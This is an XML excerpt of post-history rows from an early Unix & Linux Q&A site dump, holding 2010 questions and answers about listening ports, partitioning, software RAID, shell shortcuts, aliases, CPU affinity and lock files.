  <row Id="81" PostHistoryTypeId="3" PostId="43" RevisionGUID="6dc7edec-fa27-4667-a5b2-3ee479ce648c" CreationDate="2010-08-10T19:50:53.057" UserId="4" Text="éfreebsdàénetworkingà" />
  <row Id="82" PostHistoryTypeId="2" PostId="44" RevisionGUID="f35ca028-0acf-440a-b739-2d7c893916df" CreationDate="2010-08-10T19:51:13.227" UserId="18" Text="If you watch to try something a little different, there's [GoboLinux](http://www.gobolinux.org) and [NixOs](http://nixos.org/nixos/)." />
  <row Id="83" PostHistoryTypeId="2" PostId="45" RevisionGUID="b57c2306-0dd7-407e-94a2-d4df8913cb41" CreationDate="2010-08-10T19:51:33.507" UserId="13" Text="It has extended attributes - See the OSX man page [here][1] for more information on ls.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.apple.com/mac/library/documentation/Darwin/Reference/ManPages/man1/ls.1.html" />
  <row Id="84" PostHistoryTypeId="2" PostId="46" RevisionGUID="430f8317-d96b-4186-96ca-372f9ebaf056" CreationDate="2010-08-10T19:51:35.800" UserId="91" Text="Gentoo is your best bet here, what's wrong with using it for your needs?" />
  <row Id="85" PostHistoryTypeId="2" PostId="47" RevisionGUID="74f1db2d-04ed-4dad-b1ae-e38c364c4946" CreationDate="2010-08-10T19:52:06.003" UserId="26" Text="As root, do this:&#xD;&#xA;&#xD;&#xA;    lsof | grep IPv4 | grep LISTEN&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will show you all processes that are listening on IPv4 sockets. You may want to add '-b' to prevent lsof from doing some things that might block it. If you do that you'll probably also want to redirect stderr to /dev/null.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;   " />
  <row Id="86" PostHistoryTypeId="2" PostId="48" RevisionGUID="a91deaae-aa5f-40a5-9a1f-c55549ceda5d" CreationDate="2010-08-10T19:52:07.017" UserId="74" Text="The minimum setup should have / and /home in separate partitions. / should have at least 18GB, in my experience. I usually have a third partition called /code where I keep all my work code, and use /home for downloads, documents and other non-code related things. When I reinstall, I just backup whatever I have in /home that I want to keep to /code." />
  <row Id="87" PostHistoryTypeId="5" PostId="29" RevisionGUID="77c5096e-0b41-40bb-bf8c-4f9423d687de" CreationDate="2010-08-10T19:52:25.783" UserId="22" Comment="added 1008 characters in body" Text="You can do &#xD;&#xA;&#xD;&#xA;    lsof -n | grep -i LISTEN | grep -i TCP &#xD;&#xA;&#xD;&#xA;to see all of your listening ports, but dollars to donuts that ntpd is running: &#xD;&#xA;&#xD;&#xA;    service ntpd status&#xD;&#xA;&#xD;&#xA;And as for &quot;What does socket in use&quot; mean? If I can be forgiven for smoothing over some wrinkles (and for the very basic explanation, apologies of most of this is remedial for you)...TCP/IP (the language of the internet) specifies that each computer has an IP address, which uniquely identifies that computer on the internet. In addition, there are 65,000 numbered ports on each IP address that can be connected to. &#xD;&#xA;&#xD;&#xA;When you want to connect to a web server, you open the site in your browser, but the machinery underneath is actually connecting you to port 80 on the web server's IP. The web server's daemon (the program listening for connections to port 80) uses a &quot;socket&quot; to hold open that port, reserving it for itself. Only one program can use the same port at a time. &#xD;&#xA;&#xD;&#xA;Since you had ntpd running, it was using that port. 'ntpdate' tried to access that port, but since it was already held open, you got the 'socket already in use' error. &#xD;&#xA;&#xD;&#xA;Again, apologies to everyone who already knew this. " />
  <row Id="88" PostHistoryTypeId="2" PostId="49" RevisionGUID="59dcc352-997f-4f8c-8345-4ff1a91261e2" CreationDate="2010-08-10T19:52:28.590" UserId="73" Text="Not sure if this counts as a &quot;trick&quot;, but people seem very unaware of the standard readline hotkeys. Of particular use in shells:&#xD;&#xA;&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; - Cut the current line&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt; - Paste a line cut with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; - Clear the screen and redraw the current line&#xD;&#xA;* &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt; - Get a new line and abandon the current one&#xD;&#xA;" />
  <row Id="89" PostHistoryTypeId="16" PostId="49" RevisionGUID="59dcc352-997f-4f8c-8345-4ff1a91261e2" CreationDate="2010-08-10T19:52:28.590" UserId="-1" />
  <row Id="90" PostHistoryTypeId="2" PostId="50" RevisionGUID="5e93184c-8401-4c25-874e-14056fe97d78" CreationDate="2010-08-10T19:53:02.287" UserId="58" Text="I'd like to setup RAID 1 with two drives in linux. I don't have a hardware RAID controller and don't want to buy one, so what is the best software RAID option for linux?&#xD;&#xA;&#xD;&#xA;Note: If it makes a difference, I'm running Gentoo." />
  <row Id="91" PostHistoryTypeId="1" PostId="50" RevisionGUID="5e93184c-8401-4c25-874e-14056fe97d78" CreationDate="2010-08-10T19:53:02.287" UserId="58" Text="RAID 1 in linux" />
  <row Id="92" PostHistoryTypeId="3" PostId="50" RevisionGUID="5e93184c-8401-4c25-874e-14056fe97d78" CreationDate="2010-08-10T19:53:02.287" UserId="58" Text="éstorageàéraidà" />
  <row Id="93" PostHistoryTypeId="2" PostId="51" RevisionGUID="9be86705-9d4c-4f42-9686-653c3a043345" CreationDate="2010-08-10T19:53:11.147" UserId="85" Text="If you really don't want it to interfere at all, don't put it anywhere in your $PATH.&#xD;&#xA;&#xD;&#xA;If you want it in $PATH, at least make sure not to install to /usr/local...I've found that a lot of software looks there even if it's installed by the distro into /usr.&#xD;&#xA;&#xD;&#xA;My favorite way to install custom-compiled software is in my home directory.  That way you don't have to use sudo for anything, and it's very nicely separated from the rest of your system.  For example:&#xD;&#xA;&#xD;&#xA;    mkdir ~/stage&#xD;&#xA;    ./configure --prefix=/home/username/stage &amp;&amp; make &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;And if you want to, you can then add /home/username/stage/bin to your $PATH." />
  <row Id="94" PostHistoryTypeId="2" PostId="52" RevisionGUID="6f415d00-6ee2-4e75-8890-f84206cc150f" CreationDate="2010-08-10T19:53:12.740" UserId="4" Text="Display a prompt where the hostname is **bold**. I tried color prompts for a while, but the color would sometimes look bad depending on the background. Bold works for me for light background, dark background, blue backgrounds, etc.&#xD;&#xA;&#xD;&#xA;This is in my .bashrc :&#xD;&#xA;&#xD;&#xA;        bold=$(tput bold)&#xD;&#xA;        reset=$(tput sgr0)&#xD;&#xA;        export PS1=&quot;\u@\[$bold\]\h\[$reset\]:\w \$ &quot;&#xD;&#xA;" />
  <row Id="95" PostHistoryTypeId="16" PostId="52" RevisionGUID="6f415d00-6ee2-4e75-8890-f84206cc150f" CreationDate="2010-08-10T19:53:12.740" UserId="-1" />
  <row Id="96" PostHistoryTypeId="2" PostId="53" RevisionGUID="eb0c9e22-3317-41d3-b6c9-a90b7f394df0" CreationDate="2010-08-10T19:53:19.353" UserId="78" Text="- ^f - page down&#xD;&#xA;- ^b - page up&#xD;&#xA;- G - go to the end of buffer&#xD;&#xA;- gg - go to the beginning of the buffer&#xD;&#xA;&#xD;&#xA;also - most of them are just vim-like functions for navigation." />
  <row Id="97" PostHistoryTypeId="2" PostId="54" RevisionGUID="ea87eeea-d680-4c3f-9f64-e3c912638222" CreationDate="2010-08-10T19:53:40.460" UserId="68" Text="You can also try the old and mighty [Linux From Scratch][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxfromscratch.org/" />
  <row Id="98" PostHistoryTypeId="5" PostId="21" RevisionGUID="8bca0b37-899a-40a9-a0af-ff53ea0fa8d3" CreationDate="2010-08-10T19:53:44.157" UserId="26" Comment="mistaken about Linux." Text="On OSX, this indicates the presence of metadata associated with the file. " />
  <row Id="99" PostHistoryTypeId="2" PostId="55" RevisionGUID="37429a31-f122-4673-891d-59f66700f907" CreationDate="2010-08-10T19:54:05.997" UserId="57" Text="what does size of a directory means in Output of ls -rlt command" />
  <row Id="100" PostHistoryTypeId="1" PostId="55" RevisionGUID="37429a31-f122-4673-891d-59f66700f907" CreationDate="2010-08-10T19:54:05.997" UserId="57" Text="what does size of a directory means in Output of ls -rlt command?" />
  <row Id="101" PostHistoryTypeId="3" PostId="55" RevisionGUID="37429a31-f122-4673-891d-59f66700f907" CreationDate="2010-08-10T19:54:05.997" UserId="57" Text="élsàésizeà" />
  <row Id="102" PostHistoryTypeId="2" PostId="56" RevisionGUID="23c5031d-364b-4ff7-8984-c73d05ea7c5e" CreationDate="2010-08-10T19:54:15.093" UserId="73" Text="You can use `CDPATH` to set up the directory equivalent of `PATH`; if you try to `cd foo` and there is no `foo` in the current directory, the shell will check each of the directories in `CDPATH` looking for `foo` in them, and switch to the first one it finds:&#xD;&#xA;&#xD;&#xA;    export CDPATH=&quot;/usr&quot;&#xD;&#xA;    cd bin # switches to 'bin' if there is one in the current directory, or /usr/bin otherwise&#xD;&#xA;" />
  <row Id="103" PostHistoryTypeId="16" PostId="56" RevisionGUID="23c5031d-364b-4ff7-8984-c73d05ea7c5e" CreationDate="2010-08-10T19:54:15.093" UserId="-1" />
  <row Id="104" PostHistoryTypeId="2" PostId="57" RevisionGUID="137d498d-1b9a-4861-bafe-977ec44ddf7b" CreationDate="2010-08-10T19:54:28.040" UserId="22" Text="    vi `which scriptname`&#xD;&#xA;&#xD;&#xA;For when you don't know where something lives, and you don't care either. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="105" PostHistoryTypeId="16" PostId="57" RevisionGUID="137d498d-1b9a-4861-bafe-977ec44ddf7b" CreationDate="2010-08-10T19:54:28.040" UserId="-1" />
  <row Id="106" PostHistoryTypeId="2" PostId="58" RevisionGUID="65130889-defc-447c-a5c1-06a619647141" CreationDate="2010-08-10T19:54:42.113" UserId="27" Text="/usr/local/src&#xD;&#xA;&#xD;&#xA;What I do is extract the source in this directory.  It will create a path like&#xD;&#xA;&#xD;&#xA;/usr/local/src/postgresql-8.3.7&#xD;&#xA;&#xD;&#xA;I will create a symbolic link to this&#xD;&#xA;&#xD;&#xA;/usr/local/src # ln -s  postgresql-8.3.7 postgresql&#xD;&#xA;&#xD;&#xA;Do all your building in /usr/local/src/postgresql&#xD;&#xA;&#xD;&#xA;Doing things this way helps when you need to pop between versions and documents what version you are using." />
  <row Id="107" PostHistoryTypeId="2" PostId="59" RevisionGUID="38d73eb9-ad5d-40aa-a083-ce0406e6d873" CreationDate="2010-08-10T19:55:02.330" UserId="91" Text="Purchase more memory?  :)&#xD;&#xA;&#xD;&#xA;If you are running applications that are using more memory than you have present in the&#xD;&#xA;system, there's nothing that any operating system can do about this other then to&#xD;&#xA;swap to the swap partition.  If this is a situation you find yourself in often, stop&#xD;&#xA;running some of the programs that you do not need, or, really, buy more memory, it is&#xD;&#xA;very inexpensive these days." />
  <row Id="108" PostHistoryTypeId="2" PostId="60" RevisionGUID="f75d4733-eb6f-49d5-a608-246c6de603c3" CreationDate="2010-08-10T19:55:35.043" UserId="62" Text="You can use [mdadm][1] to manage software raid on linux.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://neil.brown.name/blog/mdadm" />
  <row Id="109" PostHistoryTypeId="5" PostId="33" RevisionGUID="086a134f-eb2b-45d0-82ef-091384e1e553" CreationDate="2010-08-10T19:55:58.800" UserId="84" Comment="added 28 characters in body" Text="Keep your /home on a separate partition. This way, it will not be overwritten when you switch to another distro or upgrade your current one. It's also a good idea to have your swap file on its own partition. But that should be done automatically by your distro's installer.&#xD;&#xA;&#xD;&#xA;The way my laptop is setup, I have the following partitions:&#xD;&#xA;&#xD;&#xA;/ &lt;br /&gt;&#xD;&#xA;/home &lt;br /&gt;&#xD;&#xA;/boot &lt;br /&gt;&#xD;&#xA;/swp &lt;br /&gt;" />
  <row Id="110" PostHistoryTypeId="2" PostId="61" RevisionGUID="c0e35074-c32b-48d3-ab20-fef20bcbac33" CreationDate="2010-08-10T19:56:03.887" UserId="83" Text="&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; in BASH for searching/activating previously executed commands (the contents of ~/.bash_history).&#xD;&#xA;&#xD;&#xA;This is often extremely helpful. Running this alias will serve the PWD up over HTTP (indexed) on port 8000:&#xD;&#xA;&#xD;&#xA;    alias webserver=&quot;python -m SimpleHTTPServer&quot;&#xD;&#xA;&#xD;&#xA;And because I run make all the time, and spaz out and type too quickly, these aliases are probably my most used (seriously):&#xD;&#xA;&#xD;&#xA;    alias maek=make&#xD;&#xA;    alias mkae=make&#xD;&#xA;    alias meak=make&#xD;&#xA;    alias amka=make&#xD;&#xA;    alias akme=make&#xD;&#xA;&#xD;&#xA;And probably my most frequently used piece of BASH is a simple script I call upload. I use it to blit any kind of content to my Linode, and it copies the resulting HTTP URL to my clipboard (middle click). Very useful for pasting stuff to people in IRC:&#xD;&#xA;&#xD;&#xA;    scp -r $* $user@$host:public_html &amp;&amp; {&#xD;&#xA;        URL=&quot;http://$host/~$user/$(basename $1)&quot;&#xD;&#xA;        echo &quot;$URL&quot;&#xD;&#xA;        xselection -replace PRIMARY &quot;$URL&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Just a couple. I can post much more later, must get back to work!" />
  <row Id="111" PostHistoryTypeId="16" PostId="61" RevisionGUID="c0e35074-c32b-48d3-ab20-fef20bcbac33" CreationDate="2010-08-10T19:56:03.887" UserId="-1" />
  <row Id="112" PostHistoryTypeId="2" PostId="62" RevisionGUID="d23c3e5f-db82-4cf0-b833-faa8fd9b9a4a" CreationDate="2010-08-10T19:56:06.867" UserId="32" Text="I have compiled Squid in Open SUSE, so that distro supports it." />
  <row Id="113" PostHistoryTypeId="2" PostId="63" RevisionGUID="356cf006-9064-4fbc-a6cc-0f99bc091656" CreationDate="2010-08-10T19:56:10.313" UserId="92" Text="Look up DLNA.  I don't know what packages on OpenSUSE would provide it, but it's your best bet.  Under Ubuntu, DLNA is provided by the package Rygel (although there is a plug in for Rhythmbox called Coherence)." />
  <row Id="114" PostHistoryTypeId="2" PostId="64" RevisionGUID="d87a1ddb-9c2d-47cd-8425-ed9ed763433c" CreationDate="2010-08-10T19:56:20.937" UserId="69" Text="You can also use netstat to look for open sockets--it's much cleaner than using lsof as the other posters have suggested. Try this command line as root&#xD;&#xA;&#xD;&#xA;`netstat -lp -u -t` &#xD;&#xA;&#xD;&#xA;to view all listening connections, including their associated pid's and programs. The -l parameter is what specifies listening connections, -p specifies that you want to see the PID/name and -t and -u tell netstat that you want only TCP and UDP connections (IPv4 and IPv6).&#xD;&#xA;&#xD;&#xA;If you want to see numeric port and host names (ie. not resolved in the case of hosts, and not transformed to service names in the case of ports), you can add `-n` to the command line above.&#xD;&#xA;&#xD;&#xA;**EDIT:** This works on Linux--I don't know how well it works on BSD, as I don't have any BSD-based boxes around." />
  <row Id="116" PostHistoryTypeId="2" PostId="65" RevisionGUID="d78fbe6e-c6eb-4a0b-8a67-760687b67871" CreationDate="2010-08-10T19:57:07.410" UserId="58" Text="In different screenshots of people's linux desktops, I've seen different apps that overlay the desktop with information about their computer. Often this gadget/app shows CPU and HDD information. Sometimes it has network and temperature information as well. I've seen these a lot but they often have different looks and different information.&#xD;&#xA;&#xD;&#xA;What program does this? Is it built-in to any linux distro?" />
  <row Id="117" PostHistoryTypeId="1" PostId="65" RevisionGUID="d78fbe6e-c6eb-4a0b-8a67-760687b67871" CreationDate="2010-08-10T19:57:07.410" UserId="58" Text="Desktop overlay program showing CPU, HDD, etc. stats" />
  <row Id="118" PostHistoryTypeId="3" PostId="65" RevisionGUID="d78fbe6e-c6eb-4a0b-8a67-760687b67871" CreationDate="2010-08-10T19:57:07.410" UserId="58" Text="éuntaggedà" />
  <row Id="119" PostHistoryTypeId="2" PostId="66" RevisionGUID="5a068818-e68a-433a-95a6-36ddc2d784ab" CreationDate="2010-08-10T19:57:10.500" UserId="76" Text="I have seen on some Linux, grep is configured to highlight the match, and print the matching file.&#xD;&#xA;&#xD;&#xA;How do you configure GNU grep best?" />
  <row Id="120" PostHistoryTypeId="1" PostId="66" RevisionGUID="5a068818-e68a-433a-95a6-36ddc2d784ab" CreationDate="2010-08-10T19:57:10.500" UserId="76" Text="pimp my GNU grep " />
  <row Id="121" PostHistoryTypeId="3" PostId="66" RevisionGUID="5a068818-e68a-433a-95a6-36ddc2d784ab" CreationDate="2010-08-10T19:57:10.500" UserId="76" Text="égrepàécolorsàétipsà" />
  <row Id="122" PostHistoryTypeId="2" PostId="67" RevisionGUID="30f72b5c-0b83-4e6e-b1ff-52d8894d954f" CreationDate="2010-08-10T19:57:13.760" UserId="73" Text="This expands somewhat on the `!!` trick mentioned in [this answer](http://unix.stackexchange.com/questions/6/what-are-your-favorite-command-prompt-features-or-tricks/32#32). There are actually a bunch of history-related commands that tend to get forgotten about (people tend to stab &lt;kbd&gt;Up&lt;/kbd&gt; 100 times instead looking for a command they know they typed).&#xD;&#xA;&#xD;&#xA;* The `history` command will show a list of recently run commands with an event designator to the left&#xD;&#xA;* Running `!N` will run the command associated with event designator `N`&#xD;&#xA;* Running `!-N` will run the `N`th most recent command; e.g. `!-1` will run the most recent command, `!-2` the second most recent, etc.&#xD;&#xA;* As mentioned in the other answer, `!!` is shorthand for `!-1`, to quickly run the last command again&#xD;&#xA;* Running `!string` will run the most recent command that begins with `string`&#xD;&#xA;* Running `!?string?` will run the most recent command that contains `string`&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Word designators can be added on to a `!` history command to modify the results. A colon separates the event and word designators, e.g. `!!:0`. The event designator `!!` can be abbreviated to just `!` when using a word designator, so `!!:0` is equivalent to `!:0`.&#xD;&#xA;&#xD;&#xA;* `!:0` will get the command that was executed&#xD;&#xA;* `!:1` will get the first argument (and `!:2` the second, etc.)&#xD;&#xA;* `!:2-3` will get the second and third arguments&#xD;&#xA;* `!:^` is another way to get the first argument. `!:$` will get the last&#xD;&#xA;* `!:*` will get all arguments (but *not* the command)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Modifiers can also be appended to a `!` history command, each prefixed by a colon. Any number can be stacked on (e.g. `!:t:r:p`). The examples below assume the command echo /tmp/foo.bar has just been run.&#xD;&#xA;&#xD;&#xA;* `h` -- Line up to the base filename&#xD;&#xA;* `t` -- Only the base filename&#xD;&#xA;* `r` -- Line up to the filename extension&#xD;&#xA;* `e` -- Only the filename extension&#xD;&#xA;* `s/search/replacement` -- Replace the first occurrence of `search` with `replacement`&#xD;&#xA;* `gs/search/replacement` -- Replace all occurrences of `search` with `replacement`&#xD;&#xA;" />
  <row Id="123" PostHistoryTypeId="16" PostId="67" RevisionGUID="30f72b5c-0b83-4e6e-b1ff-52d8894d954f" CreationDate="2010-08-10T19:57:13.760" UserId="-1" />
  <row Id="124" PostHistoryTypeId="2" PostId="68" RevisionGUID="a34d553d-38de-467b-ae36-a217037be68b" CreationDate="2010-08-10T19:57:41.917" UserDisplayName="pho3nixf1re" Text="This is for zsh, not bash, fyi (if you haven't used it, you won't regret trying it out). This is really useful for quickly typing out long paths for scp  transfers. It works just like using &lt;tab&gt; to complete or list available filenames/directories.&#xD;&#xA;&#xD;&#xA;Example&#xD;&#xA;&#xD;&#xA;    scp webdev@example.com:/home/webdev/domains/example.com/http.public/long&lt;tab&gt;&#xD;&#xA;&#xD;&#xA;will complete the path to `/home/webdev/domains/example.com/http.public/longdirname`.&#xD;&#xA;&#xD;&#xA;I'm bad at examples, but that should give you the idea. Try it out, it can really save you fingers from typing.&#xD;&#xA;&#xD;&#xA;    # SSH Completion&#xD;&#xA;    zstyle ':completion:*:scp:*' tag-order \&#xD;&#xA;       files users 'hosts:-host hosts:-domain:domain hosts:-ipaddr&quot;IP\ Address *'&#xD;&#xA;    zstyle ':completion:*:scp:*' group-order \&#xD;&#xA;       files all-files users hosts-domain hosts-host hosts-ipaddr&#xD;&#xA;    zstyle ':completion:*:ssh:*' tag-order \&#xD;&#xA;       users 'hosts:-host hosts:-domain:domain hosts:-ipaddr&quot;IP\ Address *'&#xD;&#xA;    zstyle ':completion:*:ssh:*' group-order \&#xD;&#xA;       hosts-domain hosts-host users hosts-ipaddr&#xD;&#xA;    zstyle '*' single-ignored show&#xD;&#xA;" />
  <row Id="125" PostHistoryTypeId="16" PostId="68" RevisionGUID="a34d553d-38de-467b-ae36-a217037be68b" CreationDate="2010-08-10T19:57:41.917" UserId="-1" />
  <row Id="126" PostHistoryTypeId="2" PostId="69" RevisionGUID="484ab4c4-c115-49cd-9d67-27f98c8bb3ee" CreationDate="2010-08-10T19:58:21.090" UserId="99" Text="**bash -- insert preceding line's final parameter**&#xD;&#xA;&#xD;&#xA;&lt;kbd&gt;alt&lt;/kbd&gt;-&lt;kbd&gt;.&lt;/kbd&gt;  the most useful key combination ever, try it and see, for some reason no one knows about this one.&#xD;&#xA;&#xD;&#xA;press it again and again to select older last parameters. &#xD;&#xA;&#xD;&#xA;great when you want to do something else to something you used just a moment ago.&#xD;&#xA;" />
  <row Id="127" PostHistoryTypeId="16" PostId="69" RevisionGUID="484ab4c4-c115-49cd-9d67-27f98c8bb3ee" CreationDate="2010-08-10T19:58:21.090" UserId="-1" />
  <row Id="128" PostHistoryTypeId="2" PostId="70" RevisionGUID="61afd5c8-a8a0-469d-8184-59148f5b76c0" CreationDate="2010-08-10T19:59:54.720" UserId="59" Text="I want to run multiple shell (bash) scripts in parallel. However, I want to avoid race conditions. What unix commands are *truly* atomic that I could use for this purpose, and how can I use them?" />
  <row Id="129" PostHistoryTypeId="1" PostId="70" RevisionGUID="61afd5c8-a8a0-469d-8184-59148f5b76c0" CreationDate="2010-08-10T19:59:54.720" UserId="59" Text="What unix commands can be used as a semaphore/lock?" />
  <row Id="130" PostHistoryTypeId="3" PostId="70" RevisionGUID="61afd5c8-a8a0-469d-8184-59148f5b76c0" CreationDate="2010-08-10T19:59:54.720" UserId="59" Text="éscriptingàésemaphoreàébashà" />
  <row Id="131" PostHistoryTypeId="2" PostId="71" RevisionGUID="246aa71b-8d77-4b99-acca-203948f9759d" CreationDate="2010-08-10T20:00:40.367" UserId="93" Text="Given an installation based on Yum (specifically in my case, a Scientific Linux 5.1 x86_64 installation), how would I duplicate the installed programs and utilities to a new machine based on Fedora Core x86_64? The hardware is very similar but not identical, and there's the obvious difference that SL5 is based on EL, not on Fedora; I'm largely aiming to duplicate the user experience from the original box (SL) to the new box (FC)." />
  <row Id="132" PostHistoryTypeId="1" PostId="71" RevisionGUID="246aa71b-8d77-4b99-acca-203948f9759d" CreationDate="2010-08-10T20:00:40.367" UserId="93" Text="Duplicating a Linux installation (Yum-based)" />
  <row Id="133" PostHistoryTypeId="3" PostId="71" RevisionGUID="246aa71b-8d77-4b99-acca-203948f9759d" CreationDate="2010-08-10T20:00:40.367" UserId="93" Text="élinuxàéyumàéfedoraà" />
  <row Id="134" PostHistoryTypeId="2" PostId="72" RevisionGUID="a2f12b38-87af-435c-8d67-359ac87b4410" CreationDate="2010-08-10T20:00:51.193" UserId="78" Text="    alias cgrep='grep -nR --color'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;    $ cgrep somestring /path/to/dir/or/file/with*/possible/*wild.card&#xD;&#xA;&#xD;&#xA;Also one of my favorites:&#xD;&#xA;&#xD;&#xA;    $ pgrep some-hanging-process&#xD;&#xA;&#xD;&#xA;will list all pids of that match the name of some-hanging-process which you can use in following situation:&#xD;&#xA;&#xD;&#xA;    $ kill $(pgrep some-hanging-process)" />
  <row Id="135" PostHistoryTypeId="2" PostId="73" RevisionGUID="cc6dc879-5e42-4c97-8496-dc08d813b082" CreationDate="2010-08-10T20:01:43.093" UserId="99" Text="The question is all in the title: How can I set the processor affinity of a process on Linux?" />
  <row Id="136" PostHistoryTypeId="1" PostId="73" RevisionGUID="cc6dc879-5e42-4c97-8496-dc08d813b082" CreationDate="2010-08-10T20:01:43.093" UserId="99" Text="How can I set the processor affinity of a process on Linux?" />
  <row Id="137" PostHistoryTypeId="3" PostId="73" RevisionGUID="cc6dc879-5e42-4c97-8496-dc08d813b082" CreationDate="2010-08-10T20:01:43.093" UserId="99" Text="élinuxàécpuàéprocessà" />
  <row Id="138" PostHistoryTypeId="2" PostId="74" RevisionGUID="33f8451e-529a-4dc3-8165-d47563d416b2" CreationDate="2010-08-10T20:01:46.807" UserId="13" Text="1) Don't run so many GUI programs at once.  &#xD;&#xA;2) Make sure that any programs running in the background that you don't need e.g. Apache are stopped.  &#xD;&#xA;3) Use a distro aimed at low-memory situations (e.g. for a netbook)  &#xD;&#xA;4) Buy more memory.  &#xD;&#xA;5) Buy a faster HD (or SSD) for your swap partition.  :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="139" PostHistoryTypeId="2" PostId="75" RevisionGUID="c1f43a8e-1070-40ec-a3b6-aba093423087" CreationDate="2010-08-10T20:02:21.937" UserId="101" Text="There's always the option to &quot;put it where it belongs&quot; but write a simple rpm, first." />
  <row Id="141" PostHistoryTypeId="2" PostId="77" RevisionGUID="20c8de43-a151-400e-a144-953bcba78f2b" CreationDate="2010-08-10T20:02:40.143" UserId="5" Text="This is the size of space on the disk that is used to store the meta information for the directory (i.e. the table of files that belong to this directory). If it is i.e. 1024 this means that 1024 bytes on the disk are used (it always allocate full blocks) for this purpose." />
  <row Id="142" PostHistoryTypeId="2" PostId="78" RevisionGUID="0ad9c353-bf89-4f8b-8354-5e258a3f9097" CreationDate="2010-08-10T20:03:17.147" UserId="100" Text="I use [conky][1] to display date, battery, cpu, ram and swap information. You can find my conky file [here][2] or take a look at a thread about conky configs in the [arch-linux forum][3]. There you find many different configs and screenshots of conky in use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://conky.sf.net&#xD;&#xA;  [2]: http://github.com/crazymaik/configs/blob/master/conkyrc&#xD;&#xA;  [3]: https://bbs.archlinux.org/viewtopic.php?id=39906" />
  <row Id="143" PostHistoryTypeId="2" PostId="79" RevisionGUID="ba08f34f-4d71-4254-87d6-005be01892e7" CreationDate="2010-08-10T20:04:01.857" UserId="73" Text="If the last argument to a command is a filename, you can move it to the front by prefixing it with `&lt;`, so these two lines are equivalent:&#xD;&#xA;&#xD;&#xA;    cat filename&#xD;&#xA;    &lt;filename cat&#xD;&#xA;&#xD;&#xA;This is particularly useful for grep, as it places the expression at the end of the line, so you can quickly modify a grep command it by hitting &lt;kbd&gt;Up&lt;/kbd&gt;, without needing to scroll left to get past the filename:&#xD;&#xA;&#xD;&#xA;    &lt;filename grep 'expression'" />
  <row Id="144" PostHistoryTypeId="16" PostId="79" RevisionGUID="ba08f34f-4d71-4254-87d6-005be01892e7" CreationDate="2010-08-10T20:04:01.857" UserId="-1" />
  <row Id="145" PostHistoryTypeId="2" PostId="80" RevisionGUID="0e45fe5b-6565-4c87-821f-e798cf6b5be8" CreationDate="2010-08-10T20:04:12.930" UserId="57" Text="I am working on *nix environments from last 4 years as a application developer ( mostly in C).&#xD;&#xA;Please suggest some books/blogs etc. for improving *nix internals knowledge." />
  <row Id="146" PostHistoryTypeId="1" PostId="80" RevisionGUID="0e45fe5b-6565-4c87-821f-e798cf6b5be8" CreationDate="2010-08-10T20:04:12.930" UserId="57" Text="Recommended readings batter understating of unix/linux internals " />
  <row Id="147" PostHistoryTypeId="3" PostId="80" RevisionGUID="0e45fe5b-6565-4c87-821f-e798cf6b5be8" CreationDate="2010-08-10T20:04:12.930" UserId="57" Text="élinuxà" />
  <row Id="148" PostHistoryTypeId="2" PostId="81" RevisionGUID="bc5802f6-4927-46ae-8def-d6d2c7fee49c" CreationDate="2010-08-10T20:05:08.187" UserId="26" Text="I have used taskset for this. If you have taskset installed, something like:&#xD;&#xA;&#xD;&#xA;    taskset -c 1,3 -p 45678&#xD;&#xA;&#xD;&#xA;would set the process with id 45678 to have an affinity to cpus 1 and 3.&#xD;&#xA;" />
  <row Id="149" PostHistoryTypeId="2" PostId="82" RevisionGUID="611044bc-2ad1-477d-ad93-5e0cd64e30c8" CreationDate="2010-08-10T20:05:42.927" UserId="45" Text="Maybe the lockfile command will do what you need.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;lockfile ~/.config/mylockfile.lock&#xD;&#xA;.....&#xD;&#xA;rm -f important.lock&#xD;&#xA;" />
  <row Id="150" PostHistoryTypeId="5" PostId="72" RevisionGUID="25acb075-9d53-410f-8af4-2ab6eede9b1d" CreationDate="2010-08-10T20:05:53.910" UserId="78" Comment="added 10 characters in body" Text="    alias cgrep='grep -nR --color'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;    $ cgrep somestring /path/to/dir/or/file/with*/possible/*wild.card&#xD;&#xA;&#xD;&#xA;Also one of my favorites:&#xD;&#xA;&#xD;&#xA;    $ pgrep some-hanging-process&#xD;&#xA;&#xD;&#xA;will list all pids of processes that match the name of some-hanging-process which you can use in following situation:&#xD;&#xA;&#xD;&#xA;    $ kill $(pgrep some-hanging-process)" />
  <row Id="152" PostHistoryTypeId="2" PostId="83" RevisionGUID="cff0f8c7-171c-457b-84fd-3717062d6d2f" CreationDate="2010-08-10T20:07:29.303" UserId="27" Text="O'REILLY Linux Kernel in a Nutshell  and&#xD;&#xA;O'REILLY Linux Device Drivers" />
